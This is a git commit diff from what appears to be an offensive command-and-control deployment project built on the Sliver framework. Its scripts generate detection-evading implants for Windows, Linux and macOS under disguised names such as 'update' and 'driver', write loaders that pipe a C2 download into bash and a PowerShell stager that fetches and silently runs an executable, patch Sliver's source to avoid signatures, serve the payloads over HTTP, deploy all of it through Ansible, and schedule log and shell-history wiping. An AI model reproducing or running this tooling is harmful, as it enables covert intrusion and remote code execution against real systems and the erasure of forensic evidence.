working on getting custom sliver running
This commit is contained in:
n0mad1k
@@ -1,188 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Advanced EDR-evasive beacon generator with dynamic randomization
|
|
||||||
|
|
||||||
# Dynamic configuration
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
TIMESTAMP=$(date +%s)
|
|
||||||
C2_HOST=${1:-$(hostname -I | awk '{print $1}')}
|
|
||||||
C2_PORT=${2:-$(( 7000 + RANDOM % 3000 ))}
|
|
||||||
TEMP_DIR=$(mktemp -d)
|
|
||||||
|
|
||||||
# Generate unique random values for each execution
|
|
||||||
random_string() {
|
|
||||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
|
||||||
}
|
|
||||||
|
|
||||||
random_path() {
|
|
||||||
local depth=$(( 1 + RANDOM % 3 ))
|
|
||||||
local path="/"
|
|
||||||
for ((i=0; i<depth; i++)); do
|
|
||||||
path+="$(random_string $(( 4 + RANDOM % 8 )))/"
|
|
||||||
done
|
|
||||||
echo "${path}$(random_string $(( 5 + RANDOM % 10 )))"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Generate unique profile for each beacon
|
|
||||||
generate_profile() {
|
|
||||||
local type=$1
|
|
||||||
local profile_name="profile-${type}-$(random_string 8)"
|
|
||||||
local http_path1=$(random_path)
|
|
||||||
local http_path2=$(random_path)
|
|
||||||
local interval=$(( 30 + RANDOM % 120 ))
|
|
||||||
local jitter=$(( 10 + RANDOM % 35 ))
|
|
||||||
local headers=(
|
|
||||||
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))"
|
|
||||||
"X-Requested-With: XMLHttpRequest"
|
|
||||||
"X-Client-ID: $(random_string 16)"
|
|
||||||
"Cache-Control: max-age=$(( 100 + RANDOM % 900 ))"
|
|
||||||
"X-$(random_string 8): $(random_string 12)"
|
|
||||||
)
|
|
||||||
|
|
||||||
# Select random subset of headers
|
|
||||||
local selected_headers=()
|
|
||||||
for ((i=0; i<$(( 2 + RANDOM % 3 )); i++)); do
|
|
||||||
selected_headers+=("${headers[RANDOM % ${#headers[@]}]}")
|
|
||||||
done
|
|
||||||
|
|
||||||
# Format headers for JSON
|
|
||||||
local json_headers="["
|
|
||||||
for ((i=0; i<${#selected_headers[@]}; i++)); do
|
|
||||||
json_headers+="\"${selected_headers[i]}\""
|
|
||||||
if [[ $i -lt $((${#selected_headers[@]}-1)) ]]; then
|
|
||||||
json_headers+=", "
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
json_headers+="]"
|
|
||||||
|
|
||||||
# Create profile with unique properties for this beacon type
|
|
||||||
cat > "$TEMP_DIR/$profile_name.json" << EOF
|
|
||||||
{
|
|
||||||
"name": "$profile_name",
|
|
||||||
"http_urls": ["$http_path1", "$http_path2"],
|
|
||||||
"http_headers": $json_headers,
|
|
||||||
"beacon_interval": $interval,
|
|
||||||
"beacon_jitter": $jitter,
|
|
||||||
"kill_date": "$(date -d "+$(( 30 + RANDOM % 90 )) days" +%Y-%m-%d)",
|
|
||||||
"working_hours": {
|
|
||||||
"start": "$(( 5 + RANDOM % 5 )):$(( RANDOM % 60 ))",
|
|
||||||
"end": "$(( 16 + RANDOM % 8 )):$(( RANDOM % 60 ))"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Install unique profile
|
|
||||||
mkdir -p /root/.sliver/profiles/
|
|
||||||
cp "$TEMP_DIR/$profile_name.json" /root/.sliver/profiles/
|
|
||||||
echo $profile_name
|
|
||||||
}
|
|
||||||
|
|
||||||
# Random output filename generator
|
|
||||||
random_output_name() {
|
|
||||||
local type=$1
|
|
||||||
local names=(
|
|
||||||
"update" "service" "client" "agent" "app" "system"
|
|
||||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
|
||||||
)
|
|
||||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
|
||||||
|
|
||||||
case "$type" in
|
|
||||||
windows) echo "${name}.exe" ;;
|
|
||||||
windows_dll) echo "${name}.dll" ;;
|
|
||||||
linux) echo "${name}" ;;
|
|
||||||
darwin) echo "${name}" ;;
|
|
||||||
*) echo "${name}" ;;
|
|
||||||
esac
|
|
||||||
}
|
|
||||||
|
|
||||||
# Ensure output directory exists
|
|
||||||
mkdir -p $BEACONS_DIR
|
|
||||||
mkdir -p $BEACONS_DIR/staged
|
|
||||||
mkdir -p $BEACONS_DIR/shellcode
|
|
||||||
|
|
||||||
# Generate each beacon type with unique profile and settings
|
|
||||||
echo "[+] Generating randomized, evasive beacons..."
|
|
||||||
|
|
||||||
# Windows EXE
|
|
||||||
win_profile=$(generate_profile "windows")
|
|
||||||
win_output=$(random_output_name "windows")
|
|
||||||
sliver generate --profile $win_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
|
||||||
--format exe --save "$BEACONS_DIR/$win_output"
|
|
||||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
|
||||||
|
|
||||||
# Windows DLL
|
|
||||||
dll_profile=$(generate_profile "windows_dll")
|
|
||||||
dll_output=$(random_output_name "windows_dll")
|
|
||||||
sliver generate --profile $dll_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
|
||||||
--format shared --save "$BEACONS_DIR/$dll_output"
|
|
||||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
|
||||||
|
|
||||||
# Linux binary
|
|
||||||
linux_profile=$(generate_profile "linux")
|
|
||||||
linux_output=$(random_output_name "linux")
|
|
||||||
sliver generate --profile $linux_profile --http $C2_HOST:$C2_PORT --os linux --arch amd64 \
|
|
||||||
--format elf --save "$BEACONS_DIR/$linux_output"
|
|
||||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
|
||||||
|
|
||||||
# macOS binary
|
|
||||||
mac_profile=$(generate_profile "darwin")
|
|
||||||
mac_output=$(random_output_name "darwin")
|
|
||||||
sliver generate --profile $mac_profile --http $C2_HOST:$C2_PORT --os darwin --arch amd64 \
|
|
||||||
--format macho --save "$BEACONS_DIR/$mac_output"
|
|
||||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
|
||||||
|
|
||||||
# Generate dynamic stagers with variable formats
|
|
||||||
stager_profile=$(generate_profile "stager")
|
|
||||||
stager_win=$(random_output_name "windows")
|
|
||||||
sliver generate stager --profile $stager_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
|
||||||
--format exe --save "$BEACONS_DIR/staged/$stager_win"
|
|
||||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
|
||||||
|
|
||||||
# Create randomized loader scripts
|
|
||||||
echo "#!/bin/bash
|
|
||||||
# $(random_string 32)
|
|
||||||
# $(date)
|
|
||||||
sleep \$((RANDOM % 3))
|
|
||||||
curl -s http://$C2_HOST:$C2_PORT$(random_path) -H \"$(random_string 8): $(random_string 12)\" | bash
|
|
||||||
# $(random_string 24)" > "$BEACONS_DIR/loader_$(random_string 8).sh"
|
|
||||||
chmod +x "$BEACONS_DIR/loader_$(random_string 8).sh"
|
|
||||||
|
|
||||||
# Random PowerShell stager with junk and evasion
|
|
||||||
cat > "$BEACONS_DIR/loader_$(random_string 8).ps1" << EOF
|
|
||||||
# $(random_string 32)
|
|
||||||
# Generated: $(date)
|
|
||||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
|
||||||
\$r = New-Object -TypeName Random
|
|
||||||
Start-Sleep -Milliseconds \$r.Next(100, 2000)
|
|
||||||
\$wc = New-Object Net.WebClient
|
|
||||||
\$wc.Headers.Add("$(random_string 8)", "$(random_string 12)")
|
|
||||||
\$url = 'http://$C2_HOST:$C2_PORT$(random_path)'
|
|
||||||
\$outpath = "\$env:TEMP\$(random_string 8).exe"
|
|
||||||
try {
|
|
||||||
# $(random_string 16)
|
|
||||||
\$wc.DownloadFile(\$url, \$outpath)
|
|
||||||
Start-Sleep -Milliseconds \$r.Next(500, 3000)
|
|
||||||
Start-Process -NoNewWindow -FilePath \$outpath
|
|
||||||
} catch {
|
|
||||||
# Error handling to avoid detection
|
|
||||||
# $(random_string 24)
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Create index of generated files for reference
|
|
||||||
echo "[+] Creating reference file with beacon details"
|
|
||||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
|
||||||
C2 Server: $C2_HOST:$C2_PORT
|
|
||||||
Generated: $(date)
|
|
||||||
|
|
||||||
Windows EXE: $win_output (Profile: $win_profile)
|
|
||||||
Windows DLL: $dll_output (Profile: $dll_profile)
|
|
||||||
Linux Binary: $linux_output (Profile: $linux_profile)
|
|
||||||
macOS Binary: $mac_output (Profile: $mac_profile)
|
|
||||||
Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
|
||||||
|
|
||||||
All profiles are uniquely generated with randomized settings.
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Cleanup
|
|
||||||
rm -rf $TEMP_DIR
|
|
||||||
echo "[+] Beacon generation complete with dynamic fingerprint avoidance"
|
|
||||||
@@ -1,60 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Beacon server script to host generated implants
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
WEBSERVER_PORT=8443
|
|
||||||
CERTIFICATE="/etc/ssl/private/beacon-server.pem"
|
|
||||||
KEY="/etc/ssl/private/beacon-server.key"
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Ensure beacons directory exists
|
|
||||||
mkdir -p $BEACONS_DIR
|
|
||||||
|
|
||||||
# Function to generate beacons using Sliver
|
|
||||||
# This will replace part of files/serve-beacons.sh
|
|
||||||
function generate_beacons() {
|
|
||||||
echo "[+] Generating evasive beacons for all platforms..."
|
|
||||||
|
|
||||||
# Use evasive beacon generator for better EDR bypass
|
|
||||||
/opt/c2/generate_evasive_beacons.sh $C2_HOST 8443
|
|
||||||
|
|
||||||
# Generate stagers
|
|
||||||
echo "#!/bin/bash
|
|
||||||
curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
|
||||||
chmod +x $BEACONS_DIR/beacon.sh
|
|
||||||
|
|
||||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
|
||||||
\$url = 'http://$C2_HOST:8443/windows.exe';
|
|
||||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
|
||||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
|
||||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
|
||||||
|
|
||||||
echo "[+] All beacons generated successfully"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Generate beacons
|
|
||||||
generate_beacons
|
|
||||||
|
|
||||||
# Serve beacons using Python's HTTP server (with SSL if certificate exists)
|
|
||||||
if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
|
|
||||||
echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
|
|
||||||
cd $BEACONS_DIR
|
|
||||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
else
|
|
||||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
|
||||||
cd $BEACONS_DIR
|
|
||||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
|
||||||
echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
|
|
||||||
echo "[+] Press Ctrl+C to stop the server"
|
|
||||||
|
|
||||||
# Keep script running and respond to Ctrl+C
|
|
||||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
|
||||||
while true; do sleep 1; done
|
|
||||||
+64
-105
@@ -1,5 +1,5 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# EDR bypass script for Sliver C2 - With all required dependencies
|
# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support
|
||||||
|
|
||||||
set -e
|
set -e
|
||||||
TEMP_DIR=$(mktemp -d)
|
TEMP_DIR=$(mktemp -d)
|
||||||
@@ -17,10 +17,10 @@ random_string() {
|
|||||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||||
}
|
}
|
||||||
|
|
||||||
# Install ALL required dependencies
|
# Install required dependencies
|
||||||
log "Installing dependencies..."
|
log "Installing dependencies..."
|
||||||
apt-get update >/dev/null 2>&1
|
apt-get update >/dev/null 2>&1
|
||||||
apt-get install -y git golang make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
|
apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
|
||||||
|
|
||||||
# Clone Sliver repository
|
# Clone Sliver repository
|
||||||
log "Cloning Sliver repository..."
|
log "Cloning Sliver repository..."
|
||||||
@@ -29,29 +29,17 @@ cd $SLIVER_DIR
|
|||||||
|
|
||||||
# Examine repository structure
|
# Examine repository structure
|
||||||
log "Analyzing Sliver repository structure..."
|
log "Analyzing Sliver repository structure..."
|
||||||
IMPLANT_NAME=$(random_string 8)
|
IMPLANT_NAME=$(random_string 12)
|
||||||
|
log "Using randomized implant name: $IMPLANT_NAME"
|
||||||
|
|
||||||
# Generate randomization values
|
# Find and modify key files
|
||||||
HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
|
log "Modifying implant name in source code..."
|
||||||
HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
|
|
||||||
BEACON_MIN=$((30 + RANDOM % 60))
|
|
||||||
JITTER=$((10 + RANDOM % 20))
|
|
||||||
|
|
||||||
# Find and modify key files - ImplantName
|
|
||||||
log "Changing implant name to $IMPLANT_NAME..."
|
|
||||||
grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
|
grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
|
||||||
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
|
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
|
||||||
log "Modified $file: ImplantName = \"sliver\" → ImplantName = \"$IMPLANT_NAME\""
|
log "Modified $file: Changed implant name to $IMPLANT_NAME"
|
||||||
done
|
done
|
||||||
|
|
||||||
# Modify HTTP transport patterns
|
# Add custom build ID to sliver.go
|
||||||
log "Modifying HTTP transport patterns..."
|
|
||||||
grep -l "/path/to/file" --include="*.go" -r . | while read file; do
|
|
||||||
sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" "$file"
|
|
||||||
log "Modified $file: \"/path/to/file\" → \"$HTTP_PATH_ONE\""
|
|
||||||
done
|
|
||||||
|
|
||||||
# Add unique build ID to sliver.go
|
|
||||||
log "Adding unique build identifiers..."
|
log "Adding unique build identifiers..."
|
||||||
SLIVER_GO_FILES=$(find . -name "sliver.go")
|
SLIVER_GO_FILES=$(find . -name "sliver.go")
|
||||||
for file in $SLIVER_GO_FILES; do
|
for file in $SLIVER_GO_FILES; do
|
||||||
@@ -59,102 +47,73 @@ for file in $SLIVER_GO_FILES; do
|
|||||||
log "Added build identifier to $file"
|
log "Added build identifier to $file"
|
||||||
done
|
done
|
||||||
|
|
||||||
# Modify build flags
|
# Modify build flags for additional randomization
|
||||||
log "Setting custom build flags..."
|
log "Setting custom build flags..."
|
||||||
grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
|
grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
|
||||||
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
|
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
|
||||||
|
log "Modified $file: Added custom build ID"
|
||||||
done
|
done
|
||||||
|
|
||||||
# Build the modified client without compiling the server
|
# Build modified Sliver server and client
|
||||||
log "Building Sliver client..."
|
log "Building customized Sliver server and client..."
|
||||||
# Check available targets first
|
|
||||||
log "Available make targets:"
|
|
||||||
make help | grep client || make -h | grep client || log "Make help not available"
|
|
||||||
|
|
||||||
# Try to build the client with the correct target
|
|
||||||
if make -n client 2>/dev/null; then
|
|
||||||
log "Using 'client' target"
|
|
||||||
make client
|
|
||||||
elif make -n sliver-client 2>/dev/null; then
|
|
||||||
log "Using 'sliver-client' target"
|
|
||||||
make sliver-client
|
|
||||||
else
|
|
||||||
log "Falling back to default build"
|
|
||||||
make
|
make
|
||||||
fi
|
|
||||||
|
|
||||||
# Check if client was built
|
# Check if binaries were built
|
||||||
if [ -f "./sliver-client" ]; then
|
if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then
|
||||||
log "Client build successful"
|
log "Build successful - installing customized binaries"
|
||||||
|
|
||||||
|
# Stop any running Sliver service
|
||||||
|
systemctl stop sliver 2>/dev/null || true
|
||||||
|
|
||||||
|
# Move binaries to system path
|
||||||
|
cp -f ./sliver-server /usr/local/bin/
|
||||||
cp -f ./sliver-client /usr/local/bin/
|
cp -f ./sliver-client /usr/local/bin/
|
||||||
|
chmod +x /usr/local/bin/sliver-server
|
||||||
|
chmod +x /usr/local/bin/sliver-client
|
||||||
|
|
||||||
|
# Create systemd service file
|
||||||
|
cat > /etc/systemd/system/sliver.service << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Sliver C2 Server (Randomized Build)
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
WorkingDirectory=/root/.sliver
|
||||||
|
ExecStart=/usr/local/bin/sliver-server daemon
|
||||||
|
Restart=always
|
||||||
|
RestartSec=10
|
||||||
|
|
||||||
|
# Security measures
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectHome=false
|
||||||
|
NoNewPrivileges=true
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Create sliver directories
|
||||||
|
mkdir -p /root/.sliver/{configs,operators,profiles}
|
||||||
|
|
||||||
|
# Create basic operator config
|
||||||
|
/usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg
|
||||||
|
|
||||||
|
# Start sliver service
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable sliver
|
||||||
|
systemctl start sliver
|
||||||
|
|
||||||
|
log "Sliver service installed and started"
|
||||||
else
|
else
|
||||||
log "Client build failed, creating only the profiles"
|
log "Build failed - binaries not found"
|
||||||
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create custom profiles directory regardless of build success
|
|
||||||
mkdir -p /opt/c2/sliver-profiles
|
|
||||||
|
|
||||||
# Create evasive profile template
|
|
||||||
cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
|
|
||||||
{
|
|
||||||
"name": "evasive-$(random_string 4)",
|
|
||||||
"http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"],
|
|
||||||
"http_headers": [
|
|
||||||
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))",
|
|
||||||
"X-Requested-With: XMLHttpRequest",
|
|
||||||
"Cache-Control: max-age=$(( 100 + RANDOM % 400 ))"
|
|
||||||
],
|
|
||||||
"beacon_interval": $BEACON_MIN,
|
|
||||||
"beacon_jitter": $JITTER,
|
|
||||||
"kill_date": "$(date -d "+60 days" +%Y-%m-%d)",
|
|
||||||
"working_hours": {
|
|
||||||
"start": "$(( 6 + RANDOM % 4 )):00",
|
|
||||||
"end": "$(( 16 + RANDOM % 6 )):00"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Create beacon generator script for use with standard Sliver
|
|
||||||
cat > /opt/c2/generate_evasive_beacons.sh << 'EOF'
|
|
||||||
#!/bin/bash
|
|
||||||
# Generate EDR-evasive beacons using randomized profiles
|
|
||||||
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
PROFILE_DIR="/opt/c2/sliver-profiles"
|
|
||||||
HTTP_HOST=${1:-$(hostname -I | awk '{print $1}')}
|
|
||||||
HTTP_PORT=${2:-8888}
|
|
||||||
|
|
||||||
mkdir -p $BEACONS_DIR
|
|
||||||
|
|
||||||
# Generate random profile name
|
|
||||||
PROFILE="evasive-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
|
||||||
|
|
||||||
# Copy template to profiles directory
|
|
||||||
mkdir -p /root/.sliver/profiles/
|
|
||||||
cp $PROFILE_DIR/evasive-template.json /root/.sliver/profiles/$PROFILE.json
|
|
||||||
sed -i "s/\"name\": \"evasive-[a-zA-Z0-9]*\"/\"name\": \"$PROFILE\"/g" /root/.sliver/profiles/$PROFILE.json
|
|
||||||
|
|
||||||
echo "[+] Generating Windows beacon..."
|
|
||||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows.exe
|
|
||||||
|
|
||||||
echo "[+] Generating Windows DLL beacon..."
|
|
||||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format shared --save $BEACONS_DIR/windows.dll
|
|
||||||
|
|
||||||
echo "[+] Generating Linux beacon..."
|
|
||||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os linux --arch amd64 --format elf --save $BEACONS_DIR/linux
|
|
||||||
|
|
||||||
echo "[+] Generating macOS beacon..."
|
|
||||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os darwin --arch amd64 --format macho --save $BEACONS_DIR/macos
|
|
||||||
|
|
||||||
echo "[+] Generating Windows stager..."
|
|
||||||
sliver generate stager --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows-staged.exe
|
|
||||||
|
|
||||||
echo "[+] All beacons generated successfully with evasive profile: $PROFILE"
|
|
||||||
EOF
|
|
||||||
chmod +x /opt/c2/generate_evasive_beacons.sh
|
|
||||||
|
|
||||||
# Cleanup
|
# Cleanup
|
||||||
log "Cleaning up..."
|
log "Cleaning up..."
|
||||||
rm -rf $TEMP_DIR
|
rm -rf $TEMP_DIR
|
||||||
|
|
||||||
log "Customization complete."exit
|
log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME"
|
||||||
+85
-14
@@ -42,6 +42,8 @@
|
|||||||
- tor
|
- tor
|
||||||
- crackmapexec
|
- crackmapexec
|
||||||
- jq
|
- jq
|
||||||
|
- build-essential
|
||||||
|
- zip
|
||||||
- unzip
|
- unzip
|
||||||
- postfix
|
- postfix
|
||||||
- certbot
|
- certbot
|
||||||
@@ -78,9 +80,31 @@
|
|||||||
with_items:
|
with_items:
|
||||||
- ../files/clean-logs.sh
|
- ../files/clean-logs.sh
|
||||||
- ../files/secure-exit.sh
|
- ../files/secure-exit.sh
|
||||||
- ../files/serve-beacons.sh
|
|
||||||
- ../files/sliver_randomizer.sh
|
- ../files/sliver_randomizer.sh
|
||||||
- ../files/generate_evasive_beacons.sh
|
|
||||||
|
- name: Create beacon generation script from template
|
||||||
|
template:
|
||||||
|
src: "../templates/generate_evasive_beacons.sh.j2"
|
||||||
|
dest: "/opt/c2/generate_evasive_beacons.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
|
domain: "{{ domain }}"
|
||||||
|
redirector_port: "{{ redirector_port | default('443') }}"
|
||||||
|
|
||||||
|
- name: Create beacon server script from template
|
||||||
|
template:
|
||||||
|
src: "../templates/serve-beacons.sh.j2"
|
||||||
|
dest: "/opt/c2/serve-beacons.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
|
domain: "{{ domain }}"
|
||||||
|
redirector_port: "{{ redirector_port | default('443') }}"
|
||||||
|
|
||||||
- name: Remove standard Sliver if installed
|
- name: Remove standard Sliver if installed
|
||||||
apt:
|
apt:
|
||||||
@@ -101,6 +125,11 @@
|
|||||||
creates: /opt/c2/sliver-profiles/evasive-template.json
|
creates: /opt/c2/sliver-profiles/evasive-template.json
|
||||||
register: randomization_result
|
register: randomization_result
|
||||||
|
|
||||||
|
- name: Display Sliver randomizer output
|
||||||
|
debug:
|
||||||
|
var: sliver_randomizer_result.stdout_lines
|
||||||
|
when: sliver_randomizer_result.stdout_lines is defined
|
||||||
|
|
||||||
- name: Create custom Sliver service file
|
- name: Create custom Sliver service file
|
||||||
template:
|
template:
|
||||||
src: "../templates/sliver-server.service.j2"
|
src: "../templates/sliver-server.service.j2"
|
||||||
@@ -118,12 +147,63 @@
|
|||||||
|
|
||||||
- name: Wait for Sliver to initialize
|
- name: Wait for Sliver to initialize
|
||||||
pause:
|
pause:
|
||||||
seconds: 10
|
seconds: 15
|
||||||
|
|
||||||
- name: Generate evasive beacons
|
- name: Check if Sliver operator config exists
|
||||||
shell: /opt/c2/generate_evasive_beacons.sh {{ ansible_host }}
|
stat:
|
||||||
|
path: /root/admin.cfg
|
||||||
|
register: operator_config
|
||||||
|
|
||||||
|
- name: Create new operator if needed
|
||||||
|
shell: |
|
||||||
|
/usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg
|
||||||
|
args:
|
||||||
|
creates: /root/admin.cfg
|
||||||
|
when: not operator_config.stat.exists
|
||||||
|
|
||||||
|
- name: Generate beacons with redirector integration
|
||||||
|
shell: |
|
||||||
|
/opt/c2/generate_evasive_beacons.sh
|
||||||
args:
|
args:
|
||||||
creates: /opt/beacons/reference.txt
|
creates: /opt/beacons/reference.txt
|
||||||
|
environment:
|
||||||
|
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||||
|
ignore_errors: yes
|
||||||
|
register: beacon_generation_result
|
||||||
|
|
||||||
|
- name: Display beacon generation output
|
||||||
|
debug:
|
||||||
|
var: beacon_generation_result.stdout_lines
|
||||||
|
when: beacon_generation_result.stdout_lines is defined
|
||||||
|
|
||||||
|
- name: Start beacon server
|
||||||
|
shell: |
|
||||||
|
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
register: beacon_server_result
|
||||||
|
|
||||||
|
- name: Create NGINX configuration fragment for redirector
|
||||||
|
template:
|
||||||
|
src: "../templates/redirector-sliver-fragment.j2"
|
||||||
|
dest: "/opt/c2/redirector-config.conf"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
c2_ip: "{{ ansible_host }}"
|
||||||
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
|
- name: Create Sliver usage guide
|
||||||
|
template:
|
||||||
|
src: "../templates/sliver-guide.j2"
|
||||||
|
dest: "/root/sliver-guide.txt"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
c2_ip: "{{ ansible_host }}"
|
||||||
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
- name: Set up cron job for log cleaning if zero-logs enabled
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||||
cron:
|
cron:
|
||||||
@@ -133,15 +213,6 @@
|
|||||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||||
when: zero_logs | bool
|
when: zero_logs | bool
|
||||||
|
|
||||||
- name: Configure and start beacon server
|
|
||||||
shell: |
|
|
||||||
sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
|
|
||||||
chmod +x /opt/c2/serve-beacons.sh
|
|
||||||
# Check if beacon server is already running
|
|
||||||
if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
|
|
||||||
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Include integrated tracker tasks if requested
|
# Include integrated tracker tasks if requested
|
||||||
- name: Include integrated tracker setup
|
- name: Include integrated tracker setup
|
||||||
include_tasks: "configure_integrated_tracker.yml"
|
include_tasks: "configure_integrated_tracker.yml"
|
||||||
|
|||||||
@@ -1,98 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Zero-logs maintenance script
|
|
||||||
|
|
||||||
# Set aggressive umask to minimize permission footprint
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
LOG_DIRS=(
|
|
||||||
"/var/log"
|
|
||||||
"/var/spool/mail"
|
|
||||||
"/var/spool/postfix"
|
|
||||||
"/var/lib/dhcp"
|
|
||||||
"/root/.bash_history"
|
|
||||||
"/home/*/.bash_history"
|
|
||||||
"/var/lib/nginx"
|
|
||||||
)
|
|
||||||
|
|
||||||
SYSTEM_LOGS=(
|
|
